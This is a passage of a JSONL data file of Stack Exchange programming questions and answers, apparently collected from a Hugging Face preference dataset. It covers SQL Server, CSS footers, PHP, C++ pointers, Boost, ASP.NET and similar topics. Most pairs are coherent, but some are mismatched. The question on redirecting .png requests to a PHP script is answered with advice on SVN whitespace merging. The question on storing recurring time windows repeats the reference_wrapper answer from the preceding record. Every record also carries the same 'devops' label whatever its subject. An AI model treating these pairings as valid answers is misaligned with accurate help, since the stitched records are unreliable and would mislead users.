reads can occur.\nEither use Serializable level or use something like\n```\n```\nupdate t\nset counter = counter+1\nfrom t with(updlock, <some other hints maybe>)\nwhere foo = bar\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.819549"}
{"id": "hf_00a99fabbca7", "question": "<p>I am creating a tool that will check dynamically generated XHTML and validate it against expected contents.</p>\n\n<p>I need to confirm the structure is correct and that specific attributes exist/match. There may be other attributes which I'm not interested in, so a direct string comparison is not suitable.</p>\n\n<p>One way of validating this is with XPath, and I have implemented this already, but I would also like something less verbose - I want to be able to use CSS Selectors, like I can with jQuery, but on the server - within CFML code - as opposed to on the client.</p>\n\n<p><strong>Is there a CFML or Java library that allows me to use CSS Selectors against an XHTML string?</strong></p>\n", "question_body": "", "answer": "I don't know of a Java library itself, but there is a Ruby library called\nHpricot\nthat does exactly what you're looking for. In conjunction with the Ruby implementation on the Java platform,\nJRuby\n, it should be relatively straightforward to call Ruby methods from your Java code (using BSF,\nJSR-222 Scripting APIs\n, or\nan internal API\n).\nAre you using Coldfusion 8? Coldfusion 8, being based on Java 6, supports JSR-222 Scripting APIs \"javax.scripting\".\nTake a look at\nthis blog entry on embedding PHP within CFML\n. You should be able to do\nthe same with Ruby\n. There is ZIP file example code linked from this blog posting, and if you crack open the CFML, you'll see a good example of embedding Ruby within CFML.\nAlthough it might take a bit of work to make all the pieces work together, but with a bit of investment, it should give you the robust parsing/CSS selector querying that you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.855951"}
{"id": "hf_36ed0801b381", "question": "<p>I'm making a dynamic image for a forum that doesn't allow dynamic images.</p>\n\n<p>I tried using .htacess to redirect all *.png files to image.png... which works perfectly, but from here I can't seem to be able to get the filename of the .png that was requested to generate the content. </p>\n\n<p>For example:</p>\n\n<ol>\n<li><p>user puts in banana.png</p></li>\n<li><p>htaccess forwards to image.php</p></li>\n</ol>\n\n<p>I need a way of getting that banana into my php script.</p>\n\n<p>Using <code>$_SERVER['REQUEST_URI']</code> and <code>$_SERVER[\"SCRIPT_NAME\"]</code> just returns that of the PHP file.</p>\n\n<p>Is there a way of redirecting it to <code>image.php?=bananana</code> for example?</p>\n", "question_body": "", "answer": "For SVN:  In commandline tool, there is the option\n-x\nwhich you can set to \"\nb\n\" or \"\nw\n\" to ignore space changes resp. all spaces.\nYou can also supply a third party tool for doing the merges. So if you have a merger which ignores whitespaces, you can use this one. \nTortoiseSVN, as always, is a frontend to all parameters, so it will support for ignoring whitespaces as well.\nThe svn merge command is described\nhere\n. The option you need is\n--diff3-cmd", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.893998"}
{"id": "hf_f1bdf4f74521", "question": "<p>What are the benefits of upgrading from Visual Studio 2005 to 2008?</p>\n\n<p>Any thoughts on whether it's worth the jump, or is it better to wait for whatever's coming next?</p>\n", "question_body": "", "answer": "There are tons of improvements. The best part is you can continue to target .Net 2.0 with VS 2008 (\nMulti-Targeting\n) and use all the new IDE features.\nPosting couple of screencasts but you can find more on web:\nScript intellisense and debugging in Visual Studio 2008\nMulti-threading Debugging Enhancements in Visual Studio 2008", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.930669"}
{"id": "hf_4e407568178f", "question": "<p>I've been reading about Ocaml's consistent speed, rapid prototyping ability, and excellent memory management, and decided to take it up.</p>\n\n<p>As I've already got Ruby, *lisp, Haskell, and Erlang under my belt, I'm interested specifically in what KISS-violating features I should look out for in Ocaml.</p>\n\n<p>If you've started Ocaml with a background in the above languages, what was the most frustrating thing to grok? How did you get around this difficulty? What analogies helped you get into the flow of the language?</p>\n\n<p>I'd also be interested in knowing whether you have done more than simply learn Ocaml, and have actually converted to it for a large percentage of your coding problems.</p>\n", "question_body": "", "answer": "I found an excellent resource on Ocaml and its relation to most other languages:\nhttp://www.soton.ac.uk/~fangohr/software/ocamltutorial/lecture1.html\nNot only does it explain the why, it also explains many of the little quirks likely to snag you as you begin.\nAh, I found a\ncheatsheet\nhighlighting almost all of its syntactic weirdnesses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.968568"}
{"id": "hf_096a0a34fdca", "question": "<p>Is it possible to break at runtime when a particular file has been modified?  </p>\n\n<p>ie. monitor the file and break into a debugger once a change has been made to it.</p>\n\n<p>This is for a windows app...is this possible in visual studio or windbg?</p>\n\n<p>edit:  i should have mentioned that this is for a Win32 app..</p>\n", "question_body": "", "answer": "Assuming this is .NET, the System.IO.\nFileSystemWatcher\nclass is what you need.\n```\n```\nFileSystemWatcher watcher = new FileSystemWatcher(\"c:filename.txt\");\nwatcher.Changed += new FileSystemEventHandler(watcher_Changed);\n// \nvoid watcher_Changed(object sender, FileSystemEventArgs e)\n{\n    // put a breakpoint here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.061468"}
{"id": "hf_c09f3fc460a2", "question": "<p>I would like to hear about interesting projects which made use of Amazon's Mechanical Turk.</p>\n", "question_body": "", "answer": "I haven't done anything with it yet but I've been meaning to use it for music search by having an app that accepted recordings of people humming or singing a tune and then using the Turk to identify the tune.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.121965"}
{"id": "hf_94b61431c065", "question": "<p>What is a  free tool to compare two Sql Server tables (data and schema). </p>\n\n<p>It would be great if the tool can script the differences found.</p>\n\n<p>I also went through some older <a href=\"https://stackoverflow.com/questions/176316/compare-tools-to-generate-update-script-for-sql-server\">posts</a>. The closest I have seen is <a href=\"http://sqldbtools.com/\" rel=\"noreferrer\">SQLDBDiff</a> but I would love to try more options.</p>\n", "question_body": "", "answer": "TableDiff.exe should have everything you need. It is one of the\nhidden gems in SQL Server 2005\n. So you don't have to download anything.\n• Table Difference tool allows you to discover and reconcile differences between a source and destination table or a view. Tablediff Utility can report differences on schema and data. The most popular feature of tablediff is the fact that it can generate a script that you can run on the destination that will reconcile differences between the tables. TableDiff.exe takes 2 sets of input;\n• Connectivity - Provide source and destination objects and connectivity information.\n• Compare Options - Select one of the compare options\n• Compare schemas: Regular or Strict\n• Compare using Rowcounts, Hashes or Column comparisons\n• Generate difference scripts with I/U/D statements to synchronize destination to the source. \nTableDiff was intended for replication but can easily apply to any scenario where you need to compare data and schema.\nYou can find more information about command line utilities and the Tablediff Utility in Books Online for SQL Server 2005.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.152345"}
{"id": "hf_6ea470612ac4", "question": "<p>I found <a href=\"http://www.microsoft.com/sql/technologies/reporting/rsfeatures.mspx\" rel=\"nofollow noreferrer\">this</a> extremely old document which appears to say that many of the web client features are not availiable when running on express edition--scheduling, subscription, etc--as well as no access to the report builder. Is that information still current, and are there any other features which are unavailable?</p>\n", "question_body": "", "answer": "Subscriptions and scheduling are indeed absent in both MSSQLEx2005 and MSSQLEx2008, but I have never found this to be much of a problem. The underlying platform has a scheduler and the web service will do all the rendering, so you can recreate the missing elements without too much trouble.\nThe report builder is also absent, and\nthis\nis non-trivial to replicate. You could always install SQLEx locally and let them use BIDS. Or you could stop being cheap. It's pretty good for free.\nI recommend you use SSRS2008 rather than 2005 because it no longer requires IIS, and there are several sexy new capabilities in the report engine. In particular it now supports flow-based rich text with inline fields for mail-merge type reports.\nCompatibility is excellent but some applications reject a newer database engine version. If this is a problem, continue to use SQLExpr2005 for the database.\nSo, are you saying that A) SSRS 2005\n  requires IIS whereas 2008 does not,\n  and that B) SSRS2008 is backwards\n  compatible with a SQL2005 database?\n  (It sounds like you might be saying\n  that SSRS 2008 could be used with\n  somebody running 2005 DBs\nYes, I am indeed saying that\nSSRS 2005 requires IIS whereas 2008 does not\nSSRS 2008 is backwards compatible with a SQL2005 database\nSSRS 2008 could be used with somebody running 2005 DBs, or even 2000 DBs.\nYou can use SSRS with any database server for which ADO.NET drivers are available, including Oracle and MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.176825"}
{"id": "hf_8549ac4c3ff9", "question": "<pre><code>func()\n{\n    Object* pNext;\n    func1(pNext);\n}\n\nfunc1(Object* pNext)\n{\n    pNext = Segement-&gt;GetFirstPara(0);\n}\n</code></pre>\n\n<p>I was expecting it to be pointer to firstpara returned from func1() but I'm seeing NULL can some explain and how to fix it to actually return the firstpara() pointer?</p>\n", "question_body": "", "answer": "To change a pointer, you need to pass a pointer to the pointer, ie\n```\nObject** pNext\n```\n. To change the value of a variable inside a function, you pass a pointer. Hence, by extension, to change the value of a pointer inside a function, pass a pointer to the pointer.\n```\n```\nfunc() { \n    Object* pNext;\n    func1(&pNext);\n}\n\nfunc1(Object** pNext) { *pNext = Segement->GetFirstPara(0); }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.202360"}
{"id": "hf_091fd265bda7", "question": "<p>As I recall <code>BOOST_MPL_ASSERT</code> was once preferred.  Is this still true?  Anyone know why?</p>\n", "question_body": "", "answer": "```\nBOOST_MPL_ASSERT\n```\nis (still) generally considered better. The messages from it are somewhat easier to see (and understand, if you use\n```\nBOOST_MPL_ASSERT_MSG\n```\n). There was some talk a few months ago about deprecating\n```\nBOOST_STATIC_ASSERT\n```\n, though I think everyone eventually agreed that there's still room for it in the world.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.252084"}
{"id": "hf_e69aaf3d79bf", "question": "<p>What's the easiest way to get the UTC offset in PHP, relative to the current (system) timezone?</p>\n", "question_body": "", "answer": "```\ntimezone_offset_get()\n```\n```\n```\n$this_tz_str = date_default_timezone_get();\n$this_tz = new DateTimeZone($this_tz_str);\n$now = new DateTime(\"now\", $this_tz);\n$offset = $this_tz->getOffset($now);\n```\n```\nUntested, but should work", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.314689"}
{"id": "hf_8ef16f5f0678", "question": "<p>I have stumbled into several methods of looping in JavaScript, what I like the most is:</p>\n\n<pre><code>for(var i = 0; i &lt; a.length; i++){\n    var element = a[i];\n}\n</code></pre>\n\n<p>But as tested here (<a href=\"http://www.robertnyman.com/2008/04/11/javascript-loop-performance/\" rel=\"noreferrer\">http://www.robertnyman.com/2008/04/11/javascript-loop-performance/</a>), it should probably be written so that the length is only calculated once. </p>\n\n<p>In jQuery there is a .each that you can stick a function. I like this a little better, because I don't have to type the array twice, like in the above solution. </p>\n\n<p>If JavaScript supported macros it would be a piece of cake to roll your own, but sadly it does not. </p>\n\n<p>So what do you guys use?</p>\n", "question_body": "", "answer": "You could just always use a while loop, and compute the array limit before hand.\n```\n```\nVar max = a.length-1;\nvar i = 0;\n\nwhile(i <= max)\n{\nvar element = a[i];\ni++;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.376149"}
{"id": "hf_cd7dd10e5bb3", "question": "<p>Intuitively, it would seems that a compiler for language <code>Foo</code> cannot itself be written in Foo. More specifically, the <em>first</em> compiler for language <code>Foo</code> cannot be written in Foo, but any subsequent compiler could be written for <code>Foo</code>.</p>\n\n<p>But is this actually true? I have some very vague recollection of reading about a language whose first compiler was written in \"itself\". Is this possible, and if so how?</p>\n", "question_body": "", "answer": "This is called \"bootstrapping\".  You must first build a compiler (or interpreter) for your language in some other language (usually Java or C).  Once that is done, you can write a new version of the compiler in language Foo.  You use the first bootstrap compiler to compile the compiler, and then use this compiled compiler to compile everything else (including future versions of itself).\nMost languages are indeed created in this fashion, partially because language designers like to use the language they are creating, and also because a non-trivial compiler often serves as a useful benchmark for how \"complete\" the language may be.\nAn example of this would be Scala.  Its first compiler was created in Pizza, an experimental language by Martin Odersky.  As of version 2.0, the compiler was completely re-written in Scala.  From that point on, the old Pizza compiler could be completely discarded, due to the fact that the new Scala compiler could be used to compile itself for future iterations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.400228"}
{"id": "hf_887ece4a181d", "question": "<p>I have managed to create an <a href=\"http://docs.sencha.com/ext-js/3-4/#!/api/Ext.tree.TreeNode\" rel=\"nofollow noreferrer\">Ext.tree.TreePanel</a> that loads child nodes dynamically, but I'm having a difficult time clearing the tree and loading it with new data.  Can someone help me with the code to do this?</p>\n", "question_body": "", "answer": "I finally found an answer in their forums.  For anyone interested it is here:\n```\n```\nif (tree)\n{\n    var delNode;\n    while (delNode = tree.root.childNodes[0])\n        tree.root.removeChild(delNode);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.425061"}
{"id": "hf_8bbbd9760107", "question": "<p>When I give Java and C large floats and doubles (in the billion range), they convert them to scientific notation, losing precision in the process. How can I stop this behavior?</p>\n", "question_body": "", "answer": "For Java, check out\nBigDecimal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.502924"}
{"id": "hf_2b10a33e8022", "question": "<p>Is it possible to create a footer div that sits at the bottom of a site regardless of how much information is present in the middle?</p>\n\n<p>Currently the div I have is positioned depending on how much content i have in the body.</p>\n\n<blockquote>\n  <h3>See also:</h3>\n  \n  <p><a href=\"https://stackoverflow.com/questions/42294/how-do-you-get-the-footer-to-stay-at-the-bottom-of-a-web-page\">How do you get the footer to stay at the bottom of a Web page?</a></p>\n</blockquote>\n", "question_body": "", "answer": "I am by no means a css expert, but this works for me across the major browsers:\n```\n```\n.d_footer\n{\n    position:fixed;\n    bottom:0px;\n    background-color: #336699;\n    width:100%;\n    text-align:center;\n    padding-top:5px;\n    padding-bottom:5px;\n    color:#ffffff;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.540611"}
{"id": "hf_9d151d02931a", "question": "<p>Can I put the painter into the class variables? :</p>\n\n<pre><code>protected:\nQPainter *myPainter;\n\n...\n\nvoid MyWidget::paintEvent(QPaintEvent *event)\n{\n    myPainter = new QPainter(this);\n</code></pre>\n", "question_body": "", "answer": "don't do that.  just put it on the stack so that when it is destroyed in the destructor it will perform the painting automatically.\n```\n```\nvoid MyWidget::paintEvent(QPaintEvent *event)\n{\n    QPainter painter(this);\n    // use painter\n    ...\n    // paint object automatically closes and paint on desctruction\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.577866"}
{"id": "hf_70128ff0db23", "question": "<p>Classic ASP had 'server side includes' so that one could easily design a generic layout for the header, footer, left or right side bar.</p>\n\n<p>In ASP.NET, I think we must use 'Page Templates'. Although most people say that it is easy to use, I find it rather complicated, as we must copy the whole HTML code inside the 'Render' function. Is there a simpler method? Can I load the code from a HTML file instead pasting the whole code in the 'Render' function?</p>\n\n<p>Or is there any better alternative to 'Page Templates'?</p>\n", "question_body": "", "answer": "ASP.Net 2.0+ utilize Master Pages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.602055"}
{"id": "hf_e0ab38129595", "question": "<p>I enabled PHP5 on my website and my webhost needs me to add the following to .htaccess files for PHP5 to work:</p>\n\n<blockquote>\n  <p>AddHandler application/x-httpd-php5 .php5 .php4 .php .php3 .php2 .phtml<br>\n  AddType application/x-httpd-php5 .php5 .php4 .php .php3 .php2 .phtml </p>\n</blockquote>\n\n<p>Locally, I am running XAMPP to develop code, but XAMPP does not want to work with the .htaccess file above.</p>\n\n<p>I think it is an issue with XAMPP not recognizing php5 (but it does recognize php if I use \"application/x-httpd-php\" instead of \"application/x-httpd-php5\")</p>\n\n<p>How do I resolve this?! I need the .htaccess files to look like above so they work with my webhost, but I need XAMPP to work locally with the same files without making changes!</p>\n", "question_body": "", "answer": "So, you're in kind of a tough place; ideally speaking your webhost should not need you to put extra gunk in your htaccess files. Not knowing XAMPP too well, I can't offer a specific solution, but I can give you some pointers:\nYour webhost is running a custom compiled version of PHP that uses application/x-httpd-php5; while it is totally possible to build PHP yourself or find a custom build that has the SAPI layer configured appropriately, you probably\ndon't\nwant to do this.\nDepending on how much leeway your host is giving htaccess files, it may be possible to use <IfDefine> or <IfModule> to only conditionally execute the PHP fudge code.  I haven't tested, and your webhost may have disabled this functionality. Also, you will have to find an appropriate conditional to test against.\nMy favorite answer would be to suck it up, and maintain separate htaccess files. I do this on my website; I have a .htaccess.in file which contains \"global\" declarations, and an htaccess.php file which generates the real .htaccess file based on configuration, etc.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.651848"}
{"id": "hf_80c49d96c25e", "question": "<p>I am working on developing a pair of libraries to work with a REST API.  Because I need to be able to use the API in very different settings I'm currently planning to have a version in PHP (for web applications) and a second version in Python (for desktop applications, and long running processes).  Are there any best practices to follow in the development of the libraries to help maintain my own sanity?</p>\n", "question_body": "", "answer": "Well, the obvious one would be to keep your naming consistent.  Functions and classes should be named similarly (if not identically) in both implementations.  This usually happens naturally whenever you implement an API separately in two different languages.  The big ticket item though (at least in my book) is to follow language-specific idioms.  For example, let's assume that I were implementing a REST API in two languages I'm more familiar with: Ruby and Scala.  The Ruby version might have a class\n```\nMyCompany::Foo\n```\nwhich contains method\n```\nbar_baz()\n```\n.  Conversely, the Scala version of the same API would have a class\n```\ncom.mycompany.rest.Foo\n```\nwith a method\n```\nbarBaz()\n```\n.  It's just naming conventions, but I find it goes a long way to helping your API to feel \"at home\" in a particular language, even when the design was created elsewhere.\nBeyond that I have only one piece of advise: document, document, document.  That's easily the best way to keep your sanity when dealing with a multi-implementation API spec.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.677271"}
{"id": "hf_dc4992baa97d", "question": "<p>recently I've been reading through Scott Meyers's excellent <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321334876\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Effective C++</a> book. In one of the last tips he covered some of the features from TR1 - I knew many of them via Boost. </p>\n\n<p>However, there was one that I definitely did NOT recognize: tr1::reference_wrapper. </p>\n\n<p>How and when would I use tr1::reference_wrapper?</p>\n", "question_body": "", "answer": "It's like boost::ref, as far as I know. Basically, a reference which can be copied. Very useful when binding to functions where you need to pass parameters by reference.\nFor example (using boost syntax):\n```\n```\nvoid Increment( int& iValue )\n{\n    iValue++;\n}\n\nint iVariable = 0;\nboost::function< void () > fIncrementMyVariable = boost::bind( &Increment, boost::ref( iVariable ));\n\nfIncrementMyVariable();\n```\n```\nThis Dr. Dobbs article\nhas some info.\nHope this is right, and helpful. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.702158"}
{"id": "hf_adecc576954d", "question": "<p>What is a preferred way to store recurring time windows? <br />\nFor example. If I have a calendar system where I need to be able to accommodate daily, weekly or monthly recurring events, what sort of time management system is best? <br /><br />\nHow is this best represented in a database? </p>\n\n<p><strong>More Details</strong> <br />\nThe Specific goal of this is to provide sets of open time windows. Once we have these time windows, the code needs to test if a message that arrives to the system falls within one of the time windows.</p>\n", "question_body": "", "answer": "It's like boost::ref, as far as I know. Basically, a reference which can be copied. Very useful when binding to functions where you need to pass parameters by reference.\nFor example (using boost syntax):\n```\n```\nvoid Increment( int& iValue )\n{\n    iValue++;\n}\n\nint iVariable = 0;\nboost::function< void () > fIncrementMyVariable = boost::bind( &Increment, boost::ref( iVariable ));\n\nfIncrementMyVariable();\n```\n```\nThis Dr. Dobbs article\nhas some info.\nHope this is right, and helpful. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.731628"}
{"id": "hf_e730023afb99", "question": "<p>I hear that tr1::result_of gets used frequently inside of Boost... I'm wondering if there are any good (simple) use cases for tr1::result_of I can use at home.</p>\n", "question_body": "", "answer": "A description of result_of is given at\nopen_std.org\n.  Microsoft has a quick example of a\nunit test wrapper\nthat uses result_of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.756462"}
{"id": "hf_28a3ec761c42", "question": "<p>atoi() is giving me this error:</p>\n\n<pre><code>\nerror C2664: 'atoi' : cannot convert parameter 1 from 'char' to 'const char *'\n        Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast\n</code></pre>\n\n<p>from this line:\nint pid = atoi( token.at(0) );\nwhere token is a vector</p>\n\n<p>how can i go around this?</p>\n", "question_body": "", "answer": "You'll have to create a string:\n```\n```\nint pid = atoi(std::string(1, token.at(0)).c_str());\n```\n```\n... assuming that token is a std::vector of char, and using std::string's constructor that accepts a single character (and the number of that character that the string will contain, one in this case).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.782054"}
{"id": "hf_dcad5b20b202", "question": "<p>I have been a developer for 10+ years and so far my IIS knowledge is just enough for deploying stuff on it and get it running. Recently I have been playing with IIS 6 and realize the huge difference on the worker process model. I think I would need some good guide to update my knowledge in this area. Any good article/book recommendation?</p>\n", "question_body": "", "answer": "There are several online resources, starting with this one:\nPerformance Tuning (IIS 6.0)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.819458"}
{"id": "hf_338c8e81cc5c", "question": "<p>Is there a free XML formatting (indent) tool available where I can past an XML string and have it formatted so I can read the XML document correctly?</p>\n\n<p>Thanks</p>\n\n<p>Edit ~ I am using XML Notepad on Windows XP.</p>\n", "question_body": "", "answer": "Use the following:\n```\nxmllint\n```\n```\n--format\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.843171"}
{"id": "hf_a02c3b6e3fb6", "question": "<p>We are currently evolving our development processes in an effort to become CMMI compliant (we will start with level 2, and move up from there).  We are trying to locate a tool that is inexpensive (or free) that will allow us to develop requirements in the spirit of CMMI.  In other words, we need to be able to enter our requirements, track changes to them, provide alerts to individuals when requirements change, perform traceability, etc.  Our projects are typically small (typically 3 - 7 developers and a tester or two).</p>\n\n<p>We have looked at many of the commercial tools, but they cost more than we are able to afford.  We looked at a few on SourceForge (OSRM and others) but could not find anything that was sufficiently mature that also had the features that we needed.</p>\n\n<p>We are looking for suggestions for a tool that meets the above requirements.</p>\n", "question_body": "", "answer": "How about starting of with a Wiki? We use\nTWiki\nbut there are many others available. The wiki we uses\nsends an email when any pages change\nstores the history of changes to each page\nby using the auto-linking of wikis you can create a hierarchy of requirements\nThis seems to cover most of your items. Wikis like TWiki have plugins which may also help you.\nIf you only have 3-7 developers on a project using one of the big commercial tools may be far too complex for what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.866192"}
{"id": "hf_3fa23b2e4131", "question": "<p>I have 2-3 different column names that I want to look up in the entire database and list out all tables which have those columns. Is there any easy script?</p>\n", "question_body": "", "answer": "```\n```\nSELECT TABLE_NAME, COLUMN_NAME\nFROM INFORMATION_SCHEMA.COLUMNS\nWHERE COLUMN_NAME LIKE '%wild%';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.914396"}
{"id": "hf_4bf6c2b3c419", "question": "<p>Is LINQ a kind of Object-Relational Mapper?</p>\n", "question_body": "", "answer": "LINQ to SQL (part of Visual Studio 2008) is an OR Mapper.\nLINQ is a new query language that can be used to query many different types of sources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.938682"}
{"id": "hf_7772f844451b", "question": "<p>How can I change a file's extension using PHP?</p>\n\n<p>Ex: photo.jpg to photo.exe</p>\n", "question_body": "", "answer": "You may use the\n```\nrename(string $from, string $to, ?resource $context = null)\n```\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:28.974747"}
